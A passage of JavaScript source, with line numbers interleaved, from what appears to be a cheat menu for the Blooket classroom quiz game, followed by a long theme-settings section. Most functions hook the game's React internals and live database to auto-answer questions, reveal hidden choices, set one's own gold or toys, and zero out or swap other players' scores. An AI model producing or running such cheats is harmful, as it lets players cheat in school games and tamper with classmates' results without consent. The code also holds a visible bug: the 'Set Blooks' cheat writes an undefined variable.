img: "https://media.blooket.com/image/upload/v1661496292/Media/uiTest/Gold.svg",
2091
cheats: [
2092
{
2093
name: "Always Triple",
2094
description: "Always get triple gold",
2095
type: "toggle",
2096
enabled: false,
2097
data: null,
2098
run: function () {
2099
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2100
stateNode._choosePrize ||= stateNode.choosePrize;
2101
if (!this.enabled) {
2102
this.enabled = true;
2103
this.data = setInterval(() => {
2104
stateNode.choosePrize = function (i) {
2105
stateNode.state.choices[i] = { type: "multiply", val: 3, text: "Triple Gold!", blook: "Unicorn" };
2106
stateNode._choosePrize(i);
2107
}
2108
}, 50);
2109
} else {
2110
this.enabled = false;
2111
clearInterval(this.data);
2112
this.data = null;
2113
stateNode.choosePrize = stateNode._choosePrize || stateNode.choosePrize;
2114
}
2115
}
2116
},
2117
{
2118
name: "Auto Choose",
2119
description: "Automatically picks the option that would give you the most gold",
2120
type: "toggle",
2121
enabled: false,
2122
data: null,
2123
run: function () {
2124
if (!this.enabled) {
2125
this.enabled = true;
2126
this.data = setInterval(async () => {
2127
try {
2128
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2129
if (stateNode.state.stage === "prize") {
2130
const players = Object.entries(await new Promise(r => stateNode.props.liveGameController.getDatabaseVal("c", c => c && r(c))) || []).filter(x => x[0] != stateNode.props.client.name).sort((a, b) => b[1].g - a[1].g)[0]?.[1]?.g || 0;
2131
let max = 0; index = -1;
2132
for (let i = 0; i < stateNode.state.choices.length; i++) {
2133
const { type, val } = stateNode.state.choices[i];
2134
let value = stateNode.state.gold;
2135
switch (type) {
2136
case "gold": value = stateNode.state.gold + val || stateNode.state.gold; break;
2137
case "multiply":
2138
case "divide": value = Math.round(stateNode.state.gold * val) || stateNode.state.gold; break;
2139
case "swap": value = players || stateNode.state.gold;
2140
case "take": value = stateNode.state.gold + players * val || stateNode.state.gold;
2141
}
2142
if ((value || 0) <= max) continue;
2143
max = value, index = i + 1;
2144
}
2145
document.querySelector(`div[class^='styles__choice${index}']`).click();
2146
}
2147
} catch { }
2148
}, 50);
2149
} else {
2150
this.enabled = false;
2151
clearInterval(this.data);
2152
this.data = null;
2153
}
2154
}
2155
},
2156
{
2157
name: "Chest ESP",
2158
description: "Shows what each chest will give you",
2159
type: "toggle",
2160
enabled: false,
2161
data: null,
2162
run: function () {
2163
if (!this.enabled) {
2164
this.enabled = true;
2165
this.data = setInterval(() => {
2166
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state.choices.forEach(({ text }, index) => {
2167
let chest = document.querySelector(`div[class^='styles__choice${index + 1}']`);
2168
if (!chest || chest.querySelector('div')) return;
2169
let choice = document.createElement('div');
2170
choice.style.color = "white";
2171
choice.style.fontFamily = "Eczar";
2172
choice.style.fontSize = "2em";
2173
choice.style.display = "flex";
2174
choice.style.justifyContent = "center";
2175
choice.style.transform = "translateY(200px)";
2176
choice.innerText = text;
2177
chest.append(choice);
2178
});
2179
}, 50);
2180
} else {
2181
this.enabled = false;
2182
clearInterval(this.data);
2183
this.data = null;
2184
}
2185
}
2186
},
2187
{
2188
name: "Reset Players Gold",
2189
description: "Sets a player's gold to 0",
2190
inputs: [{
2191
name: "Player",
2192
type: "options",
2193
options: () => {
2194
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2195
return new Promise(res => stateNode.props.liveGameController?._liveApp ? stateNode.props.liveGameController.getDatabaseVal("c", (players) => players && res(Object.keys(players))) : res([]));
2196
}
2197
}],
2198
run: function (target) {
2199
let { stateNode: { props, state } } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2200
props.liveGameController.setVal({
2201
path: "c/".concat(props.client.name),
2202
val: {
2203
b: props.client.blook,
2204
g: state.gold,
2205
tat: `${target}:swap:0`
2206
}
2207
});
2208
}
2209
},
2210
{
2211
name: "Set Gold",
2212
description: "Sets amount of gold",
2213
inputs: [{
2214
name: "Gold",
2215
type: "number"
2216
}],
2217
run: function (gold) {
2218
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2219
stateNode.setState({ gold, gold2: gold });
2220
stateNode.props.liveGameController.setVal({
2221
path: "c/".concat(stateNode.props.client.name),
2222
val: {
2223
b: stateNode.props.client.blook,
2224
g: gold
2225
}
2226
});
2227
}
2228
},
2229
{
2230
name: "Swap Gold",
2231
description: "Swaps gold with someone",
2232
inputs: [{
2233
name: "Player",
2234
type: "options",
2235
options: () => {
2236
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2237
return new Promise(res => stateNode.props.liveGameController?._liveApp ? stateNode.props.liveGameController.getDatabaseVal("c", (players) => players && res(Object.keys(players))) : res([]));
2238
}
2239
}],
2240
run: function (target) {
2241
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2242
stateNode.props.liveGameController.getDatabaseVal("c", (players) => {
2243
if (!players?.[target]) return;
2244
let { g } = players[target];
2245
stateNode.props.liveGameController.setVal({
2246
path: "c/".concat(stateNode.props.client.name),
2247
val: {
2248
b: stateNode.props.client.blook,
2249
g,
2250
tat: `${target}:swap:${stateNode.state.gold}`
2251
}
2252
});
2253
stateNode.setState({ gold: g, gold2: g });
2254
});
2255
}
2256
},
2257
{
2258
name: "Reset All Players' Gold",
2259
description: "Set's everyone else's gold to 0",
2260
run: function () {
2261
let i = document.createElement('iframe');
2262
document.body.append(i);
2263
window.alert = i.contentWindow.alert.bind(window);
2264
i.remove();
2265
let { stateNode: { props, state } } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2266
let count = 0;
2267
props.liveGameController.getDatabaseVal("c", async (players) => {
2268
if (players) for (const player of Object.keys(players)) {
2269
props.liveGameController.setVal({
2270
path: "c/".concat(props.client.name),
2271
val: {
2272
b: props.client.blook,
2273
g: state.gold,
2274
tat: `${player}:swap:0`
2275
}
2276
});
2277
count++;
2278
await new Promise(r => setTimeout(r, 4000));
2279
};
2280
alert(`Reset ${count} players' gold!`);
2281
});
2282
}
2283
}
2284
],
2285
},
2286
kingdom: {
2287
name: "Crazy Kingdom",
2288
img: "https://media.blooket.com/image/upload/v1655161323/Media/survivor/Jester_lvl1.svg",
2289
cheats: [
2290
{
2291
name: "Choice ESP",
2292
description: "Shows you what will happen if you say Yes or No",
2293
type: "toggle",
2294
enabled: false,
2295
data: null,
2296
run: function () {
2297
if (!this.enabled) {
2298
this.enabled = true;
2299
let stats = ['materials', 'people', 'happiness', 'gold'];
2300
let elements = Object.fromEntries([...document.querySelectorAll('[class^=styles__statContainer]')].map((container, i) => [stats[i], container]));
2301
this.data = setInterval(() => {
2302
let { guest: data, phase } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state;
2303
if (phase == "choice") {
2304
Array.from(document.getElementsByClassName('choiceESP')).forEach(x => x.remove());
2305
Object.entries(data.yes || {}).forEach(x => {
2306
if (x[0] == 'msg' || !stats.includes(x[0])) return;
2307
let element = document.createElement('div');
2308
element.className = 'choiceESP';
2309
element.style = 'font-size: 24px; color: rgb(75, 194, 46); font-weight: bolder;';
2310
element.innerText = String(x[1]);
2311
elements[x[0]].appendChild(element);
2312
});
2313
Object.entries(data.no || {}).forEach(x => {
2314
if (x[0] == 'msg' || !stats.includes(x[0])) return;
2315
let element = document.createElement('div');
2316
element.className = 'choiceESP';
2317
element.style = 'font-size: 24px; color: darkred; font-weight: bolder;';
2318
element.innerText = String(x[1]);
2319
elements[x[0]].appendChild(element);
2320
});
2321
}
2322
}, 50);
2323
} else {
2324
this.enabled = false;
2325
clearInterval(this.data);
2326
Array.from(document.getElementsByClassName('choiceESP')).forEach(x => x.remove());
2327
this.data = null;
2328
}
2329
}
2330
},
2331
{
2332
name: "Disable Tax Toucan",
2333
description: "Tax evasion",
2334
run: function () {
2335
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.taxCounter = Number.MAX_VALUE;
2336
}
2337
},
2338
{
2339
name: "Max Stats",
2340
description: "Sets all resources to the max",
2341
run: function () {
2342
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ materials: 100, people: 100, happiness: 100, gold: 100 });
2343
}
2344
},
2345
{
2346
name: "Set Guests",
2347
description: "Sets the amount of guests you've seen",
2348
inputs: [{
2349
name: "Guests",
2350
type: "number"
2351
}],
2352
run: function (guestScore) {
2353
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ guestScore });
2354
}
2355
},
2356
{
2357
name: "Skip Guest",
2358
description: "Skips the current guest",
2359
run: function () {
2360
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.nextGuest();
2361
}
2362
}
2363
],
2364
},
2365
racing: {
2366
name: "Racing",
2367
img: "https://media.blooket.com/image/upload/v1661496295/Media/uiTest/Racing_Progress.svg",
2368
cheats: [{
2369
name: "Instant Win",
2370
description: "Instantly Wins the race",
2371
run: function () {
2372
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2373
stateNode.setState({ progress: stateNode.state.goalAmount }, () => {
2374
const { state: { question } } = stateNode;
2375
try {
2376
[...document.querySelectorAll(`[class*="answerContainer"]`)][question.answers.map((x, i) => question.correctAnswers.includes(x) ? i : null).filter(x => x != null)[0]]?.click?.();
2377
} catch { }
2378
});
2379
}
2380
}],
2381
},
2382
royale: {
2383
name: "Battle Royale",
2384
img: "https://media.blooket.com/image/upload/v1655936179/Media/br/VS_Lightning_Bolt_Bottom.svg",
2385
cheats: [
2386
{
2387
name: "Auto Answer (Toggle)",
2388
description: "Toggles auto answer on",
2389
type: "toggle",
2390
enabled: false,
2391
data: null,
2392
run: function () {
2393
if (!this.enabled) {
2394
this.enabled = true;
2395
this.data = setInterval(() => {
2396
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2397
stateNode?.onAnswer?.(true, stateNode.props.client.question.correctAnswers[0]);
2398
}, 50);
2399
} else {
2400
this.enabled = false;
2401
clearInterval(this.data);
2402
this.data = null;
2403
}
2404
}
2405
},
2406
{
2407
name: "Auto Answer",
2408
description: "Chooses the correct answer for you",
2409
run: function () {
2410
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2411
stateNode?.onAnswer?.(true, stateNode.props.client.question.correctAnswers[0]);
2412
}
2413
},
2414
],
2415
},
2416
rush: {
2417
name: "Blook Rush",
2418
img: Object.values(webpack.c).find(x => x.exports.a?.basic).exports.a.basic.shield,
2419
cheats: [
2420
{
2421
name: "Set Blooks",
2422
description: "Sets amount of blooks you or your team has",
2423
inputs: [{
2424
name: "Blooks",
2425
type: "number"
2426
}],
2427
run: function (numBlooks) {
2428
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2429
stateNode.setState({ numBlooks });
2430
stateNode.isTeam ? stateNode.props.liveGameController.setVal({
2431
path: `a/${stateNode.props.client.name}/bs`,
2432
val: numBlooks
2433
}) : stateNode.props.liveGameController.setVal({
2434
path: `c/${stateNode.props.client.name}/bs`,
2435
val: numDefense
2436
});
2437
}
2438
},
2439
{
2440
name: "Set Defense",
2441
description: "Sets amount of defense you or your team has (Max 4)",
2442
inputs: [{
2443
name: "Defense (max 4)",
2444
type: "number",
2445
max: 4
2446
}],
2447
run: function (defense) {
2448
let numDefense = Math.min(defense, 4);
2449
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2450
stateNode.setState({ numDefense });
2451
stateNode.isTeam ? stateNode.props.liveGameController.setVal({
2452
path: `a/${stateNode.props.client.name}/d`,
2453
val: numDefense
2454
}) : stateNode.props.liveGameController.setVal({
2455
path: `c/${stateNode.props.client.name}/d`,
2456
val: numDefense
2457
});
2458
}
2459
}
2460
],
2461
},
2462
workshop: {
2463
name: "Santa's Workshop",
2464
img: Object.values(webpack.c).find(x => x.exports.a?.basic).exports.a.basic.toy,
2465
cheats: [
2466
{
2467
name: "Remove Distractions",
2468
description: "Removes all enemy distractions",
2469
run: function () {
2470
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ fog: !1, dusk: !1, wind: !1, plow: !1, blizzard: !1, force: !1, canada: !1, trees: [!1, !1, !1, !1, !1, !1, !1, !1, !1, !1] });
2471
}
2472
},
2473
{
2474
name: "Send Distraction",
2475
description: "Sends a distraction to everyone else playing",
2476
inputs: [{
2477
name: "Distraction",
2478
type: "options",
2479
options: Object.entries({ c: "Oh Canada", b: "Blizzard", f: "Fog Spell", d: "Dark & Dusk", w: "Howling Wind", g: "Gift Time!", t: "TREES", s: "Snow Plow", fr: "Use The Force" }).map(([value, name]) => ({ name, value }))
2480
}],
2481
run: function (val) {
2482
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2483
stateNode.safe = true;
2484
stateNode.props.liveGameController.setVal({ path: `c/${stateNode.props.client.name}/tat`, val });
2485
}
2486
},
2487
{
2488
name: "Set Toys",
2489
description: "Sets amount of toys",
2490
inputs: [{
2491
name: "Toys",
2492
type: "number"
2493
}],
2494
run: function (toys) {
2495
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2496
stateNode.setState({ toys });
2497
stateNode.props.liveGameController.setVal({
2498
path: "c/".concat(stateNode.props.client.name),
2499
val: {
2500
b: stateNode.props.client.blook,
2501
t: toys
2502
}
2503
});
2504
}
2505
},
2506
{
2507
name: "Set Toys Per Question",
2508
description: "Sets amount of toys per question",
2509
inputs: [{
2510
name: "Toys Per Question",
2511
type: "number"
2512
}],
2513
run: function (toysPerQ) {
2514
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ toysPerQ });
2515
}
2516
},
2517
{
2518
name: "Swap Toys",
2519
description: "Swaps toys with someone",
2520
inputs: [{
2521
name: "Player",
2522
type: "options",
2523
options: () => {
2524
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2525
return new Promise(res => stateNode.props.liveGameController?._liveApp ? stateNode.props.liveGameController.getDatabaseVal("c", (players) => players && res(Object.keys(players))) : res([]));
2526
}
2527
}],
2528
run: function (target) {
2529
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
2530
stateNode.props.liveGameController.getDatabaseVal("c", (players) => {
2531
if (players && Object.keys(players).map(x => x.toLowerCase()).includes(target.toLowerCase())) {
2532
let [player, { t: toys }] = Object.entries(players).find(([name]) => name.toLowerCase() == target.toLowerCase());
2533
stateNode.props.liveGameController.setVal({
2534
path: "c/".concat(stateNode.props.client.name),
2535
val: {
2536
b: stateNode.props.client.blook,
2537
t: toys,
2538
tat: `${player}:swap:${stateNode.state.toys}`
2539
}
2540
});
2541
stateNode.setState({ toys });
2542
}
2543
});
2544
}
2545
}
2546
],
2547
},
2548
settings: {
2549
name: "Settings",
2550
img: null,
2551
cheats: [
2552
{
2553
name: "Import Settings",
2554
description: "Import a custom theme",
2555
inputs: [
2556
{
2557
name: "JSON Data",
2558
type: "string"
2559
}
2560
],
2561
run: function (theme) {
2562
try {
2563
JSON.parse(theme);
2564
} catch (e) {
2565
return alert("Invalid JSON provided");
2566
}
2567
theme = { backgroundColor: "rgb(11, 194, 207)", infoColor: "#9a49aa", cheatList: "#9a49aa", defaultButton: "#9a49aa", disabledButton: "#A02626", enabledButton: "#47A547", textColor: "white", inputColor: "#7a039d", contentBackground: "rgb(64, 17, 95)", ...JSON.parse(theme) }
2568
settings.setItem("theme", theme);
2569
}
2570
},
2571
{
2572
name: "Export Settings",
2573
description: "Export the current theme to JSON",
2574
run: async function () {
2575
await navigator.clipboard.writeText(JSON.stringify(settings.data.theme, null, 4));
2576
prompt("Text copied to clipboard. (Paste below to test)");
2577
}
2578
},
2579
{
2580
name: "Defaults",
2581
description: "Changes all the settings to a preset",
2582
inputs: [
2583
{
2584
name: "Theme",
2585
type: "options",
2586
options: [
2587
{
2588
name: "Default",
2589
value: {
2590
backgroundColor: "rgb(11, 194, 207)",
2591
infoColor: "#9a49aa",
2592
cheatList: "#9a49aa",
2593
defaultButton: "#9a49aa",
2594
disabledButton: "#A02626",
2595
enabledButton: "#47A547",
2596
textColor: "white",
2597
inputColor: "#7a039d",
2598
contentBackground: "rgb(64, 17, 95)"
2599
}
2600
},
2601
{
2602
name: "Blacket",
2603
value: {
2604
backgroundColor: "#4f4f4f",
2605
infoColor: "#2f2f2f",
2606
cheatList: "#2f2f2f",
2607
defaultButton: "#4f4f4f",
2608
disabledButton: "#eb6234",
2609
enabledButton: "#00c20c",
2610
textColor: "white",
2611
inputColor: "#3f3f3f",
2612
contentBackground: "#2f2f2f"
2613
}
2614
},
2615
{
2616
name: "Skool.lol",
2617
value: {
2618
backgroundColor: "linear-gradient(90deg, rgba(104,45,140,1) 220px, rgba(237,30,121,1) 100%)",
2619
cheatList: "#1e2124",
2620
infoColor: "#1e2124",
2621
defaultButton: "#36393e",
2622
inputColor: "#1e2124",
2623
enabledButton: "#9c9a9a",
2624
textColor: "white",
2625
disabledButton: "#171717",
2626
contentBackground: "#292929"
2627
}
2628
},
2629
{
2630
name: "Blue - Purple Background",
2631
value: {
2632
backgroundColor: "linear-gradient(162.5deg, rgba(0,183,255,1) 220px, rgba(128,0,255,1) 100%)"
2633
}
2634
},
2635
{
2636
name: "Saint Patricks Background",
2637
value: {
2638
backgroundColor: "rgb(9, 148, 65)"
2639
}
2640
},
2641
{
2642
name: "Halloween Background",
2643
value: {
2644
backgroundColor: "rgb(41, 41, 41)"
2645
}
2646
},
2647
{
2648
name: "Fall Background",
2649
value: {
2650
backgroundColor: "rgb(224, 159, 62)"
2651
}
2652
},
2653
{
2654
name: "Winter Background",
2655
value: {
2656
backgroundColor: "linear-gradient(rgb(49, 170, 224), rgb(187, 221, 255))"
2657
}
2658
},
2659
{
2660
name: "Crypto Hack",
2661
value: {
2662
backgroundColor: "radial-gradient(#11581e,#041607)",
2663
infoColor: "#1a1a1a",
2664
cheatList: "#1a1a1a",
2665
defaultButton: "rgb(88 175 88)",
2666
disabledButton: "#A02626",
2667
enabledButton: "#0b601b",
2668
textColor: "white",
2669
inputColor: "rgb(0 0 0 / 25%)",
2670
contentBackground: "#11581e"
2671
}
2672
},
2673
{
2674
name: "Fishing Frenzy",
2675
value: {
2676
backgroundColor: "linear-gradient(180deg,#9be2fe 0,#67d1fb)",
2677
infoColor: "#c8591e",
2678
cheatList: "#c8591e",
2679
defaultButton: "#ff751a",
2680
disabledButton: "#bf0e0e",
2681
enabledButton: "#2fb62f",
2682
textColor: "white",
2683
inputColor: "rgb(0 0 0 / 25%)",
2684
contentBackground: "radial-gradient(#02b0ea 40%, #1d86ea)"
2685
}
2686
},
2687
{
2688
name: "Deceptive Dinos",
2689
value: {
2690
backgroundColor: "radial-gradient(rgba(220, 184, 86, 0), rgba(220, 184, 86, 0.4)), url(\"https://ac.blooket.com/play/111cb7e0ee6607ac3d1a13d534c0e0f1.png\"), #ead49a",
2691
infoColor: "#af8942",
2692
cheatList: "#af8942",
2693
defaultButton: "#af8942",
2694
disabledButton: "#A02626",
2695
enabledButton: "#47A547",
2696
textColor: "white",
2697
inputColor: "rgb(0 0 0 / 10%)",
2698
contentBackground: "radial-gradient(rgba(1,104,162,.6),rgba(24,55,110,.5)),radial-gradient(#2783b4 1.5px,#18376e 0) center / 24px 24px"
2699
}
2700
},
2701
{
2702
name: "Blook Rush",
2703
value: {
2704
backgroundColor: "repeating-linear-gradient(45deg,white,white 8%,#e6e6e6 0,#e6e6e6 16%)",
2705
defaultButton: "#36c",
2706
inputColor: "rgb(0 0 0 / 25%)",
2707
infoColor: "#36c",
2708
cheatList: "#36c",
2709
contentBackground: "#888",
2710
textColor: "white",
2711
disabledButton: "#A02626",
2712
enabledButton: "#47A547"
2713
}
2714
},
2715
{
2716
name: "Factory",
2717
value: {
2718
defaultButton: "#1563bf",
2719
infoColor: "#a5aabe",
2720
cheatList: "#a5aabe",
2721
contentBackground: "#2d313d",
2722
backgroundColor: "#3a3a3a",
2723
enabledButton: "rgb(75, 194, 46)",
2724
disabledButton: "#9a49aa",
2725
inputColor: "rgb(0 0 0 / 25%)",
2726
textColor: "white"
2727
}
2728
},
2729
{
2730
name: "Cafe",
2731
value: {
2732
backgroundColor: "linear-gradient(90deg,rgba(200,0,0,.5) 50%,transparent 0) center / 50px 50px,linear-gradient(rgba(200,0,0,0.5) 50%,transparent 0) white center / 50px 50px",
2733
defaultButton: "#0bc2cf",
2734
inputColor: "rgb(0 0 0 / 25%)",
2735
infoColor: "#ac7339",
2736
cheatList: "#ac7339",
2737
contentBackground: "rgb(64, 64, 64)",
2738
textColor: "white",
2739
disabledButton: "#A02626",
2740
enabledButton: "#47A547"
2741
}
2742
},
2743
{
2744
name: "Tower of Doom",
2745
value: {
2746
backgroundColor: "rgb(41 41 41)",
2747
disabledButton: "rgb(151, 15, 5)",
2748
defaultButton: "#333",
2749
inputColor: "rgb(0 0 0 / 25%)",
2750
contentBackground: "#404040",
2751
enabledButton: "#4bc22e",
2752
textColor: "white",
2753
infoColor: "#9a49aa",
2754
cheatList: "#9a49aa"
2755
}
2756
},
2757
{
2758
name: "Monster Brawl",
2759
value: {
2760
defaultButton: "rgb(45, 51, 67)",
2761
backgroundColor: "rgb(78, 95, 124)",
2762
inputColor: "rgb(0 0 0 / 25%)",
2763
contentBackground: "linear-gradient(0deg,#374154,#4f5b74)",
2764
infoColor: "#374154",
2765
cheatList: "#374154",
2766
textColor: "white",
2767
enabledButton: "#47A547",
2768
disabledButton: "#A02626"
2769
}
2770
},
2771
{
2772
name: "Tower Defense 2",
2773
value: {
2774
backgroundColor: "url(https://media.blooket.com/image/upload/v1676164454/Media/defense/backgroundTd1-02.svg) center / cover",
2775
cheatList: "#a33c22",
2776
infoColor: "#a33c22",
2777
defaultButton: "#40b1d8",
2778
inputColor: "#3e8cbe",
2779
contentBackground: "#293c82",
2780
enabledButton: "#47A547",
2781
disabledButton: "#A02626",
2782
textColor: "white"
2783
}
2784
},
2785
]
2786
}
2787
],
2788
run: function (theme) {
2789
settings.setItem("theme", { ...settings.data.theme, ...theme });
2790
}
2791
},
2792
{
2793
name: "Scale",
2794
description: "Forces the GUI to scale from 25%-100%",
2795
inputs: [
2796
{
2797
type: "number",
2798
name: "Percent scale",
2799
min: 25,
2800
max: 100,
2801
value: (settings.data?.scale || 1) * 100
2802
}
2803
],
2804
run: function (scale) {
2805
scale = Math.min(Math.max(scale, 25), 100);
2806
settings.setItem("scale", scale / 100);
2807
guiWrapper.style.transform = `scale(${(scale / 100)})`;
2808
}
2809
},
2810
{
2811
name: "Hide Keybind",
2812
description: "Change the hide keybind (Click button after input to change)",
2813
inputs: [
2814
{
2815
type: "function",
2816
name: "Input",
2817
function: onchange => createKeybindListener(({ shift, ctrl, alt, key }) => onchange(`${[ctrl && "Ctrl", shift && "Shift", alt && "Alt", key && key.toUpperCase()].filter(Boolean).join(' + ')}`))
2818
}
2819
],
2820
run: function (hide) {
2821
settings.setItem("hide", hide);
2822
}
2823
},
2824
{
2825
name: "Close Keybind",
2826
description: "Change the quick close keybind (Click button after input to change)",
2827
inputs: [
2828
{
2829
type: "function",
2830
name: "Input",
2831
function: onchange => createKeybindListener(({ shift, ctrl, alt, key }) => onchange(`${[ctrl && "Ctrl", shift && "Shift", alt && "Alt", key && key.toUpperCase()].filter(Boolean).join(' + ')}`))
2832
}
2833
],
2834
run: function (close) {
2835
settings.setItem("close", close);
2836
}
2837
},
2838
{
2839
name: "Background Color",
2840
description: "Changes the background color of the GUI",
2841
inputs: [{
2842
type: "string",
2843
name: "Color"
2844
}],
2845
run: function (color) {
2846
settings.setItem("theme.backgroundColor", color);
2847
}
2848
},
2849
{
2850
name: "Category List Color",
2851
description: "Changes the categories list background color",
2852
inputs: [{
2853
type: "string",
2854
name: "Color"
2855
}],
2856
run: function (color) {
2857
settings.setItem("theme.cheatList", color);
2858
}
2859
},
2860
{
2861
name: "Info Color",
2862
description: "Changes the color of the information at the top of the GUI",
2863
inputs: [{
2864
type: "string",
2865
name: "Color"
2866
}],
2867
run: function (color) {
2868
settings.setItem("theme.infoColor", color);
2869
}
2870
},
2871
{
2872
name: "Button Color",
2873
description: "Changes the color of the cheats",
2874
inputs: [{
2875
type: "string",
2876
name: "Color"
2877
}],
2878
run: function (color) {
2879
settings.setItem("theme.defaultButton", color);
2880
}
2881
},
2882
{
2883
name: "Enabled Toggle Color",
2884
description: "Changes the color of enabled toggle cheats",
2885
inputs: [{
2886
type: "string",
2887
name: "Color"
2888
}],
2889
run: function (color) {
2890
settings.setItem("theme.enabledButton", color);
2891
}
2892
},
2893
{
2894
name: "Disabled Toggle Color",
2895
description: "Changes the color of disabled toggle cheats",
2896
inputs: [{
2897
type: "string",
2898
name: "Color"
2899
}],
2900
run: function (color) {
2901
settings.setItem("theme.disabledButton", color);
2902
}
2903
},
2904
{
2905
name: "Text Color",
2906
description: "Changes the text color",
2907
inputs: [{
2908
type: "string",
2909
name: "Color"
2910
}],
2911
run: function (color) {
2912
settings.setItem("theme.textColor", color);
2913
}
2914
},
2915
{
2916
name: "Input Color",
2917
description: "Changes the color of inputs, like the set gold number input",
2918
inputs: [{
2919
type: "string",
2920
name: "Color"
2921
}],
2922
run: function (color) {
2923
settings.setItem("theme.inputColor", color);
2924
}
2925
},
2926
{
2927
name: "Content Color",
2928
description: "Changes the background color of the cheats",
2929
inputs: [{
2930
type: "string",
2931
name: "Color"
2932
}],
2933
run: function (color) {
2934
settings.setItem("theme.contentBackground", color);
2935
}
2936
}
2937
]
2938
},
2939
alerts: {
2940
name: "Alerts",
2941
img: null,
2942
alerts: [{ message: "[LOG] GUI opened" }],
2943
diffObjects(obj1, obj2) {
2944
const changed = {};
2945
2946
for (const key in obj1) {
2947
if (!(key in obj2)) continue;
2948
if (typeof obj1[key] === "object" && typeof obj2[key] === "object") {
2949
const recChanged = Cheats.alerts.diffObjects(obj1[key], obj2[key]);
2950
if (recChanged && Object.keys(recChanged).length !== 0) changed[key] = recChanged;
2951
} else if (JSON.stringify(obj1[key]) !== JSON.stringify(obj2[key])) changed[key] = obj2[key];
2952
}
2953
2954
for (const key in obj2) if (!(key in obj1)) changed[key] = obj2[key];
2955
2956
if (Object.keys(changed).length == 0) return null;
2957
return changed;
2958
},
2959
addLog(message, color) {
2960
if (!Cheats.alerts.visible) Cheats.alerts.alerts.push({ message, color });
2961
else Cheats.alerts.setAlerts(a => [...a, { message, color }]);
2962
},
2963
addAlert(name, blook, message) {
2964
let alert = {
2965
message: React.createElement(React.Fragment, null, React.createElement("img", {
2966
src: blook || Cheats.alerts.blookData?.Black?.url,
2967
alt: "Blook",
2968
style: {
2969
height: "22.5px",
2970
margin: "0 10px -5px 0"
2971
}
2972
}), React.createElement("strong", null, name), " ", message)
2973
}
2974
if (!Cheats.alerts.visible) Cheats.alerts.alerts.push(alert);
2975
else Cheats.alerts.setAlerts(a => [...a, alert]);
2976
},
2977
getGamemode() {
2978
switch (window.location.pathname) {
2979
case "/play/racing":
2980
return "racing";
2981
case "/play/factory":
2982
